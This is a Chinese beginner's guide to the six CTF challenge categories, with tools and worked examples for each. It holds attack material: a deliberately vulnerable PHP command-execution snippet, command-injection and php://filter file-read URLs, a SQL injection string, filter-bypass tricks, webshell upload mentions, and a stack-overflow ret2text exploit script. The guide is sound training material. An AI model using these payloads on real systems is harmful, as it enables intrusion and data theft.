你是不是也遇到过这种情况:注册了好几个CTF练习平台的账号,打开一道题,发现题目名字写着Web、Crypto、Misc,点进去一头雾水,连要干什么都不知道,更别提找flag了。别慌,这几乎是每个打CTF的人都会经历的第一道坎。CTF六大题型就像六扇不同风格的门,推错门、备错工具,开局就容易劝退。
我接触CTF也有几年了,从连flag怎么提交都不会的小白,到能带队打线上赛,中间踩过无数坑。这篇文章把CTF最常见的六大题型挨个讲透:Web、Crypto、Reverse、Pwn、Misc、PPC,每类题型的考点、工具、入门例题和完整解题过程全部摊开讲。看完你就能清楚自己该优先学什么,拿到新题该从哪里下手,不至于再对着题目干瞪眼。
1. 六大题型总体认知:先弄清楚你在跟什么打交道
1.1 CTF靠什么拿分:flag和提交规则
CTF的全称是Capture The Flag,夺旗赛。所有题目最终目标只有一个:找到一串特定格式的字符串,也就是flag,提交给平台换分数。常见格式类似flag{this_is_a_example},也可能是ctf{...}、NSSCTF{...}。
这个规则决定了做题思维和开发软件完全不一样。开发要的是功能稳定,CTF要的是找到那条隐藏线索。很多时候题目故意做得很绕:文件里藏文件、图片里塞压缩包、加密后再编码、编码后再隐写,层层套娃。新手最容易犯的错就是拿到一个看似正常的文件,真把它当成普通文件看完就过了。
比赛形式也要先分清。最常见的是解题模式(Jeopardy),所有题目分类摆在一个面板上,按Web、Reverse、Pwn、Crypto、Misc、PPC等分类展示,你选择任意一道开始做。另一种是攻防模式(Attack-Defense),每个队伍维护自己的靶机,既要修补漏洞防止别人打进来,又要攻击别人靶机拿flag,难度更高。新手专心打Jeopardy就好。
1.2 六大题型分别是哪六个
各家平台分类命名略有差异,但主流共识的六大题型是:
| 题型 | 考察方向 | 上手难度 | 拿分速度 |
|---|---|---|---|
| Web | 网站漏洞、HTTP、前后端逻辑 | 中 | 快 |
| Crypto | 密码学、编码、算法 | 低 | 快 |
| Reverse | 逆向分析、反汇编、算法还原 | 高 | 中 |
| Pwn | 二进制漏洞利用、内存破坏 | 最高 | 慢 |
| Misc | 杂项、隐写、流量分析、取证 | 极低 | 极快 |
| PPC | 编程解题、算法自动化 | 中 | 看手速 |
有些比赛会把Mobile移动安全或OSINT情报分析单列,但传统意义上,新手围绕Web、Crypto、Reverse、Pwn、Misc、PPC这六类准备就够了。Mobile、OSINT更像是Misc和Web的变种,基础打牢之后再拓展完全不迟。
1.3 新手怎么选主攻方向
我的建议很直接:第一场比赛,先把Misc和Crypto的简单题全部扫一遍。这两类题目通常不需要深入底层原理,很多就是“识别编码→解码”“看到隐写→分离文件”,适合建立信心。
Web是长期性价比最高的方向,因为Web题目覆盖范围广、出题频率高,而且很多Web技巧在实际工作中也能用上。Reverse和Pwn难度陡增,需要啃操作系统、汇编、编译原理这些硬东西,建议有基础后再深入。PPC考编程功底,适合算法基础好的选手,它会用脚本自动化解题。
千万别一上来就六线作战。先吃透Misc和Crypto送分题,再专攻Web或Reverse其中一门,形成稳定得分点之后,再横向扩展,这才是普通人的靠谱路线。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. Web题型:从“找flag”到“命令执行”的入门之路
2.1 Web题到底在考什么
Web题的核心场景是:给你一个网站,你要找到它逻辑上的漏洞,利用漏洞拿到服务器上的flag。这个“网站”通常跑在比赛平台上,是专门搭好的靶机,而不是真实互联网站点。所以做题时不需要有心理负担,所有操作都限定在比赛环境里。
一道最简单的Web题长什么样?后端代码可能是:
php复制<?php
if (isset($_GET["cmd"])) {
passthru($_GET["cmd"]);
}
?>
这段代码的意思是:如果你在URL里提交一个cmd参数,服务器会直接把这个参数当作系统命令,交给passthru函数执行。passthru和后端常见的system、exec、shell_exec一样,都是让PHP执行系统命令的函数。题目考点就叫命令执行,热词里也老有人搜“ctf命令执行passthru”,说明这是Web题的常客。
这类题目的解题第一步,是先看题目提示和源码。很多平台会直接提供源码文件,或者题目描述写明“代码审计”,那就先把代码从头到尾读一遍。如果源码都没给,就用浏览器F12看开发者工具里的网络请求,观察URL参数、Cookie、请求头。
2.2 一道命令执行题的完整解题演示
继续用上面那段PHP代码演示。假设题目地址是http://your-ctf-platform/challenge1/index.php。直接在浏览器访问:
text复制http://your-ctf-platform/challenge1/index.php?cmd=ls
如果服务器正常响应,你会看到目录列表,里面大概有index.php和flag.php之类的文件。接着执行:
text复制http://your-ctf-platform/challenge1/index.php?cmd=cat%20flag.php
这里%20是URL编码,表示空格。如果flag.php内容包含<?php ... ?>代码,浏览器不一定直接显示,可以查看网页源代码,或者用cat flag.php | base64先把它base64编码输出,再在本地解码查看,这能避开PHP代码被直接解析执行的问题。
很多Web题的入门难在“不知道去哪里看结果”。我建议新手养成一个习惯:无论题目多简单,先看题目描述和附件,再看URL参数,最后看响应头。Flag可能藏在响应头的Set-Cookie或者注释里,这是签到题最爱考的点。热词里提到的“ctf web解题 找flag夺旗赛”,本质上就是围绕这些基本操作展开的。
2.3 必知的Web考点地图
Web题不是只有命令执行,入门阶段常遇到的知识点大概有这些:
- SQL注入:后端拼SQL语句时过滤不严,通过注入
' or 1=1 --绕过登录逻辑,这类题现在通常需要会用sqlmap,但新手最好手工注入一次理解原理。 - 文件上传:上传一句话木马,配合webshell连接工具拿权限。
- 文件包含:通过
php://filter伪协议读取源码,比如?page=php://filter/convert.base64-encode/resource=flag.php。 - PHP反序列化:考察对PHP类结构和魔法方法的理解,难度偏高。
- git泄露:网站暴露了
.git目录,可用工具下载源码查找历史版本里的flag。热词“git泄露ctf练习题”说的就是这类。 - nginx安全加固题:比如
nginx错误配置导致路径穿越,alias拼接错误可以读到目录外文件。这类题不像漏洞利用那么花哨,更多是考配置理解。
Web题目建议用Burp Suite来做。Burp Suite能抓包改包、重放请求、查看响应历史,是Web题型无可争议的必备工具。浏览器插件HackBar也能快速构造和发送payload,适合新手练习。
2.4 实操心得:Web题怎么不迷路
我在带新人时发现,Web题最容易崩的环节不是不会利用漏洞,而是不知道题目环境里到底有什么。所以先固定一套流程:
第一步,打开题目网站,F12看Network面板,确认页面加载了哪些文件。第二步,点击所有能点的按钮,观察URL变化和响应变化。第三步,测试常见路径,比如/robots.txt、/www.zip、/index.php.bak。很多简单题把源码备份直接挂在网站目录下,就差告诉你“来读我”。
还有一个小技巧:看到参数名里有file、page、url、cmd时,基本可以往文件读取、文件包含、命令执行方向想。看到参数名里有id、user、search时,优先试SQL注入。看到表单是登录框时,先试万能密码和弱口令,再考虑SQL注入。这套映射关系虽然粗暴,但确实能帮你省下大量试错时间。
3. Crypto密码学:从栅栏到RSA的分数收割机
3.1 密码题的两大板块:编码与算法
Crypto题型在所有题型里最接近“解谜”。它主要分两大类:一类是编码转换,比如Base64、Hex、URL编码、摩斯码;另一类是古典密码和现代密码,比如凯撒密码、栅栏密码、维吉尼亚密码、RSA、AES。
新手第一个要掌握的是编码识别能力。看到一个字符串,如果结尾有等号,大概率是Base64;全是大写字母和数字,末尾没有明显特征,可能是Hex;一串短横线和点,是摩斯码;大量重复的英文字母,可能是凯撒密码。
这里推荐一个在线工具集:CyberChef。它能把几十种常见编码转换逻辑拖拽组合,像搭积木一样,非常直观。还有热词里提到的“quip ctf”,实际是指quipqiup,一个词频分析工具,专门解替换密码。遇到一段英文乱码,直接把密文粘贴进去,它能自动按词频规律猜出明文。
3.2 BUUCTF的Crypto题常见套路
很多刷题党都在BUUCTF平台刷Crypto模块。我观察这个平台的入门Crypto题,套路非常明显:给你一串不伦不类的字符,比如Y3Rme1Y1cnlfMDBtX3MzY3JldH0=,先识别出Base64,解码得到ctf{V5ry_00m_s3cret},提交即可。
进阶一点的套路是把明文加密两次。比如先Base64再翻转字符串,或者先Hex编码再栅栏移位,解题思路就是逆着操作。这里有一个重要的解题原则:加密过程是正向的,解密过程必须严格倒序。很多人卡在中途,不是因为不会解码某一步,而是顺序搞反了。
BUUCTF的Crypto题还有一个高频考点:RSA。题目会给一堆数字,常见的交互格式是p、q、e、c,或者n、e、c。如果是前者,直接算phi = (p-1)*(q-1),然后用扩展欧几里得求出私钥d,最后pow(c, d, n)得到明文。如果是后者,需要先分解大整数n得到p和q。
3.3 手写一个最简单的RSA解题脚本
用Python演示一下给p、q、e、c的情况。先看一次完整流程:
python复制from Crypto.Util.number import inverse
p = 61
q = 53
n = p * q
phi = (p - 1) * (q - 1)
e = 17
d = inverse(e, phi)
c = 2790
m = pow(c, d, n)
print(long_to_bytes(m))
这里inverse是计算e在模phi下的乘法逆元,也就是私钥d。m解密得到的是明文整数,再转成字节就能看到flag。新手如果电脑上没装pycryptodome库,也可以只用Python自带函数实现扩展欧几里得,但不建议刚入门就重复造轮子,直接用现成库更快。
需要注意:真实比赛里RSA题目不会只考三步解密。它可能给一堆公钥文件public.pem,让你用openssl提取n和e;可能给两个相关性很高的n,考共模攻击;可能e特别小,考低指数广播攻击。当你刷到这些变体时,说明基础RSA已经过关了,再去系统学习数论基础。
3.4 做题心得:别把加密当魔法,要当工程
Crypto题给我的整体感觉是:入门简单、精通极难,但新手花一周就能稳定吃掉基础题。原因很简单,基础题考来考去就是那几十种编码和经典加密方法,只要会查会认,配上CyberChef和quipqiup,拿分效率极高。
我还想强调一个“坑”:有些题故意把flag经过多重编码后倒序输出,甚至删除部分字符让你猜。这时候不要慌,先把所有编码解码一遍,如果解出乱码,就尝试反转字符串、翻转大小写、补全缺失字符。做过几十道这类题之后,你会对这种“整活”产生直觉。
4. Reverse逆向工程:看懂程序在背着你干什么
4.1 Reverse题是“开盒验货”
Reverse题的全称是逆向工程,表现形式通常是给你一个可执行文件,比如Windows下的.exe、Linux下的elf,或者一个.apk文件。你要在不拿到源码的情况下,分析这个程序内部逻辑,找到它验证的flag。
最经典的入门Reverse题长这样:程序运行后问你“请输入flag”,你输入一串字符串,它比对后告诉你正确还是错误。整个程序的核心是一段比较逻辑,很可能就是if (input == "flag{this_is_flag}")。如果你能用工具看到这段比较字符串,等于直接抄答案。
这种题最适合新手的工具是IDA Pro。IDA能把机器码还原成伪代码,看起来非常接近源代码。试试一个简化例子:用IDA打开exe后,按空格切到伪代码视图,搜索字符串“wrong”“correct”“flag{”,通常直接能看到答案。如果字符串是分开比较的字符,那就需要手动拼一下,比如把字符数组拼成完整字符串。
4.2 静态分析的实操步骤
对于入门Reverse题,我的固定流程是:
先用查壳工具Detect It Easy(DIE)看程序有没有加壳。如果有壳,需要先脱壳再分析;如果没壳,一般直接分析即可。然后用IDA打开主程序,会自动定位到主函数main。在伪代码窗口里找可疑的字符串比较,或者找函数调用。
这里要说一个小经验:新手不要一头扎进汇编代码里硬啃。现代IDA的F5反编译功能已经很强,优先看伪代码。伪代码风格类似C语言,如果看到strcmp、memcmp这类函数,说明程序在做字符串比对。直接看比较的第二个参数,往往就是flag。
顺便提一句,热词里有“ctf逆向入门课程”,说明很多人都想系统学Reverse。我的建议是:先学一点C语言指针和数组,再了解x86汇编的几个常用指令,最后用IDA刷十几道简单题。看不懂的地方先看伪代码,伪代码也看不懂,就动态调试下断点,观察寄存器和内存值。
4.3 动态调试:让程序自己告诉你答案
静态分析看不到关键逻辑时,就该上动态调试。Windows平台上常用x64dbg,Linux/CTF平台上常用gdb。动态调试的核心思路是:程序要求你输入flag,你随便输入一串比如test,然后观察程序在比较输入和正确值的过程。很多时候,程序会把你的输入和真正的flag同时加载到内存里,你直接能看到内存中的明文。
以gdb为例,常用操作是:
bash复制gdb ./challenge
(ggdb) break main
(ggdb) run test
(ggdb) continue
在比较函数处查看参数寄存器,比如RSI、RDI,就能看到参与比较的两个字符串。这类操作对新手有点门槛,但值得试,因为动态调试是Reverse和Pwn的共用基本功。
4.4 逆向题里的常见“变形”
Reverse题的难度主要在算法伪装。有些程序不会直接比较字符串,而是把你输入的每位字符做异或、加解密、base64转换后再比对。比如程序先把输入逐个异或0x66,再和一段密文比较。那么正确flag就是“把密文逐个异或0x66”算出来的结果。
这类题目需要写脚本还原。常见Python还原代码:
python复制enc = [0x80, 0x93, 0x8c, 0x8e]
flag = ''.join(chr(x ^ 0x66) for x in enc)
print(flag)
遇到这类题,不要怕,它本质上是反着写一遍算法。建议把异或、模加法、置换、查表这些基础操作练熟,后面看大部分逆向题都不慌。
5. Pwn二进制漏洞利用:从栈溢出到拿到shell
5.1 Pwn题为什么叫Pwn
Pwn这个词源于游戏里的“own”,意思是彻底掌控。Pwn题要求你利用二进制程序中的内存漏洞,改变程序执行流程,最终在目标机上执行命令、读取flag。这个方向和Reverse有点像,但Reverse只要求“看明白”,Pwn要求“搞破坏”。它是最硬核、门槛最高的题型,也是很多人觉得CTF最有魅力的地方。
入门Pwn几乎必学栈溢出。栈溢出是程序把超出缓冲区的数据写入栈空间,导致相邻数据被覆盖。最常见的是gets函数,它不限制输入长度,你输入多少它就往缓冲区塞多少。一下经典代码:
c复制#include <stdio.h>
#include <stdlib.h>
void win() {
system("cat /flag");
}
int main() {
char buf[16];
gets(buf);
return 0;
}
程序里有个win函数,正常情况下main不会调用它。我们的目标就是利用缓冲区溢出,把函数返回地址覆盖成win的地址,让程序在main返回时跳过去执行cat /flag。
5.2 一道基础Pwn题的做题流程
先要知道win函数的地址。在Linux下可以用objdump查看:
bash复制objdump -d ./pwn | grep win
假设输出0x0000000000401156。然后写一个Python脚本用pwntools库发送构造数据:
python复制from pwn import *
p = process('./pwn')
payload = b'a' * 24 + p64(0x401156)
p.sendline(payload)
p.interactive()
b'a' * 24是填满缓冲区到返回地址的距离,这个距离需要分析栈结构获得,可能用gdb调试,或者用cyclic工具自动测试。p64是把64位地址转成字节。把payload发送后,程序就会跳转到win函数,打印flag。
这是最简单的ret2text攻击思路。整个过程新手可能需要两三天才能完全理解,但一旦跑通,你会对内存布局、函数调用、栈帧有突破性认知。
5.3 Pwn题必备工具和学习建议
Pwn题工具箱通常包括:pwntools(Python交互库)、gdb+peda/gef(调试图)、checksec(查看程序防护)、ROPgadget(找gadget)、one_gadget(找通用gadget)。
我强烈建议新手先掌握checksec输出的含义:NX、PIE、Canary、RELRO。这些防护机制决定了你能不能简单栈溢出。比如开了Canary时,你直接覆盖返回地址会先触发栈保护,程序直接退出,这时就需要泄露Canary。
学Pwn别想着一步登天。先跑通用stack溢出,再学ret2libc泄露libc地址,接着学格式化字符串漏洞,再学堆利用。这个过程很漫长,但学到哪个阶段都能参加比赛拿点分。
5.4 入门Pwn最容易卡住的点
新手卡得最多的就是“不知道覆盖多少个字节到返回地址”。我提供一个实用方法:用一个很长的pattern字符串当输入,程序崩溃后,gdb会告诉你返回地址被覆盖成了哪个pattern子串,再用cyclic -l按这个子串反查偏移量。这个操作全程自动化,不需要你手动数栈帧。
还有一点要习惯:Pwn题的payload经常包含不可见字符,不能直接在终端输入,必须用脚本发送。这也是为什么pwntools几乎是Pwn选手的标配。写脚本不是编程能力问题,而是和攻击交互的必需手段。
6. Misc杂项:题目最不正经,但分数最好拿
6.1 Misc的“杂”体现在哪里
Misc是CTF里最包罗万象的分类,它不限定任何技术方向,可以考隐写、图片分离、流量分析、压缩包破解、文件修复、OSINT、社会工程学模拟,甚至是一道脑筋急转弯。很多平台会把签到题放在Misc里,所以它是新手的第一个得分点。
最简单的一道Misc题可能是:直接给你一张纯色图片,题目描述说“flag在图片属性里”。你用记事本打开图片文件,或者右键查看属性,就能看到flag。这种题虽然在老手眼里没有含金量,但能让新手完整体验CTF的“解谜-寻找-提交”闭环。
再进阶一点,常见的是图片隐写。比如打开一张图片,肉眼看着正常,但用010 Editor或WinHex查看十六进制,发现文件末尾有一串额外数据。或者用binwalk扫描图片,发现里面嵌了一个zip压缩包。命令就是:
bash复制binwalk flag.png
binwalk -e flag.png
-e参数会自动提取扫描到的嵌入文件。很多入门Misc题就是把一个zip藏在png里,提取出来,zip再把flag解压出来。
6.2 流量分析的简单操作
Misc里还有一个高频方向叫流量分析。题目会给你一个.pcap抓包文件,你需要用Wireshark打开它,找到HTTP请求、TCP流或DNS查询,从中读到flag。
入门操作很简单:Wireshark打开后,Ctrl+F搜索字符串“flag”,或者按协议排序,直接点HTTP协议的数据包,右键“追踪TCP流”,内容就出来了。如果你的pcap里有很多网页访问记录,flag大概率藏在某个POST请求的响应里。
热词里提到的“dc系类靶机解题思路”,其实偏向渗透测试和综合实战。很多平台把这类靶机题目归到Misc进阶或者单独列类,本质是让你扫描端口、找服务漏洞、一步步拿权限。新手了解一下即可,真要玩好需要把Web和Pwn知识结合起来。
6.3 Misc的常用工具全家桶
| 工具 | 用途 |
|---|---|
| binwalk | 提取图片/文件中的嵌入文件 |
| 010 Editor / Hex Fiend | 查看十六进制,手工修复文件头 |
| Wireshark | 分析pcap流量包 |
| strings | 直接提取文件中的可打印字符串 |
| StegSolve | 查看图片各个颜色通道,LSB隐写检查 |
| ARCHPR | ZIP字典攻击/爆破密码 |
| foremost | 按文件签名批量恢复文件 |
还有LSB隐写题,简单说就是图片的像素最低位藏了信息,肉眼根本看不出来。用StegSolve在RGB颜色通道之间切换,能看到正常图片下藏着一行字。这类题网络上有大量教学视频,照着走一遍就会了。
6.4 杂项题最重要的心态
做Misc题必须接受一个事实:它没有固定套路。但幸运的是,比赛里Misc简单题大多反复使用老套路。我建议新手准备一个专属目录,把图片隐写、压缩包爆破、流量分析、文件分离、编码解码这几大类的工具和命令全部截图存档,遇到题目就按流程试一遍。
还有一个经常翻车的地方:压缩包加密密码太复杂爆破不出来。这种时候别硬爆,先回头看看题目描述、图片信息、文件名,密码很可能就写在文件名里,或者藏在图片EXIF信息里。CTF不是让你用算力硬撞,而是让你发现藏线索的方式。
7. PPC编程解题:让脚本替你手速答题
7.1 PPC题长什么样
PPC全称是Programming,本质是给你一道可以计算或逻辑推理出的问题,但题目服务器只给你极短时间,你需要用脚本自动读取题目、计算结果、提交答案。最经典的PPC题是计算题,比如题目显示“1 + 2 * 3 = ?”,然后要求你在3秒内返回答案。
这类题的难点从来不是数学,而是“程序如何自动和题目服务器通信”。刚入门可以用Python的socket模块,或者更友好的pwntools库。先看一个简化的解题框架:
python复制from pwn import *
context.log_level = 'error'
p = remote('your-ctf-platform', 10001)
p.recvuntil(b'= ?')
question = p.recvline().strip().decode()
result = eval(question)
p.sendline(str(result).encode())
print(p.recvall())
这个脚本的核心思路是:先用recvuntil等到期待的问题内容,再读取整行问题,用eval直接计算结果,最后sendline发送答案。流程看起来简单,但新手最容易写错的是缓冲区边界,比如recvuntil没等对,或者多读了一行换行符,导致后续数据错位。
7.2 PPC题目的常见变化
简单计算题之后,PPC会升级成数独、迷宫、24点、碰撞检测。这些题本身比的就是谁能更快写出解法。数独题就需要回溯算法,迷宫题就需要广度优先搜索。算法基础好的人可以做这类题拿到稳定分数,算法基础一般的人,我建议把第一题计算器安稳吃透就好。
还有一种和PPC高度相关的应用场景:自动化工具。比如热词里提到“dc系类靶机解题思路”里的端口扫描、目录爆破、密码爆破,本质都是自动化脚本收集信息。你现在写的脚本虽然简单,但学会处理输入、输出、交互,后面打攻防赛、做综合靶机题都用得上。
7.3 新手写PPC脚本的三条建议
第一条,务必在本地先测试脚本逻辑,再连服务器。很多人直接拿线上题测脚本,失败一次扣一次连接次数,纯属浪费。
第二条,打印关键交互信息。我习惯在脚本里加print(p.recvline()),确保自己知道程序到底收到什么。PPC题翻车的大部分原因,都是程序卡在等待一段永远等不到的字符串上。
第三条,不要硬用eval接收所有题目。如果题目是表达式计算,eval很爽;如果题目是中文描述的题目,千万不要把整段中文丢给eval,会直接报错。学会用正则表达式提取数字和运算符,才是正路。
8. 新手学习路线与问题排查速查表
8.1 从零到能打比赛的四步节奏
我结合带新人的经验,给你一个保守、可执行的路线:
第一个月,主攻Misc和Crypto的入门题,目标是建立“找flag”的敏感度,任何文件都要问一句“information可能藏在哪里”,同时学会CyberChef、binwalk、Wireshark、StegSolve这几个基础工具。
第二个月,转向Web,刷SQL注入、命令执行、文件上传、文件包含这四大金刚,配合Burp Suite抓包改包。这个阶段你能在比赛中稳定拿到Web签到题和送分题。
第三个月,接触Reverse,用IDA分析无壳exe,做字符串搜索和简单异或还原。不用追求理解所有汇编,先学会“看到伪代码能猜出程序意图”。
之后根据你的兴趣决定深挖Pwn还是深入Reverse。Pwn需要更多计算机底层功底,但乐趣极大。如果你只是为了比赛体验,不必强行学Pwn,Web+Crypto+Misc三个组合已经能让你在多数小型比赛中拿到不错的名次。
8.2 最值得收藏的工具清单
每次带新人,我都建议在本地装好一套固定工具,避免临时抱佛脚:
- 浏览器:Firefox + HackerBar,日常Web题。
- Burp Suite Community:Web抓包重放。
- IDA Free / Ghidra:Reverse反编译。Ghidra免费、跨平台、功能强。
- pwntools + gdb:Pwn和PPC脚本交互。
- CyberChef:全平台在线解码编码。
- binwalk、StegSolve、Wireshark:Misc取证套件。
- Python3 + pip:所有脚本的基础环境。
8.3 常见问题与排查方法速查表
| 现象 | 可能原因 | 处理方法 |
|---|---|---|
| 提交flag提示错误 | flag大小写或格式不对 | 尝试题目描述的格式,检查是不是flag{,查看是否存在换行或多余空格 |
| Web题执行命令无输出 | 函数被回显限制或过滤 | 尝试ls换成l\s、空格换成%09,看是否过滤关键字 |
| base64解出来是乱码 | 可能不是真正的base64 | 尝试反转字符串、URL解码后再base64 |
| RSA直接报错 | 参数类型不对 | 检查n/e/c是否被当成字符串处理,注意大整数用int()转换 |
| IDA看不到main函数 | 程序加壳或入口被混淆 | 先用Detect It Easy查壳,再动态调试分析 |
| Pwn脚本报错EOF | payload太短或太长 | 用cyclic测偏移,重新计算padding |
| Misc分离不出文件 | 文件头损坏 | 用010 Editor手工补全PNG/JPG文件头 |
| PPC连不上服务器 | 没装pwntools或地址错误 | pip install pwntools,确认线程交互的host和port |
8.4 我踩过的几个坑,写给你们
最后一个章节不讲技术,讲几句实在话。我第一次打比赛时,看到Reverse题直接打开exe正常双击,发现这个程序要输入密码,我傻傻地在键盘上试了好多单词,完全不知道要用工具看。后来才知道,这类题直接看字符串,甚至能用strings命令一秒定位。
第二次打比赛时,我找到一个flag,兴冲冲去提交,结果平台提示错误。我非常不理解,最后发现flag是flag{...},而我复制时连前面都没复制完整。现在想想,很多新手丢分不是不会做题,而是“没耐心把flag完整提取”。
我自己最大的教训是:不要迷信大招。很多新手喜欢一上来就让别人丢wp(题解笔记),看完觉得自己会了,下次出同类型题还是不会。正确做法是看完wp后,把工具、命令、思路写进自己的笔记,然后关了wp重新做一遍,卡住了再看一眼。亲手输出一遍,效果完全不同。
CTF不是玄学,就是一门熟练工种。你解过的编码越多,看过的题目套路越多,写过的脚本越多,你的“题感”就越强。把这个页面保存下来,从Misc和Crypto的入门题开始刷起,遇到不懂的再回来翻对应章节。等你能不靠题解独立解出Web命令执行、RSA基础解密和PNG图片分离之后,你已经不再是CTF小白了。
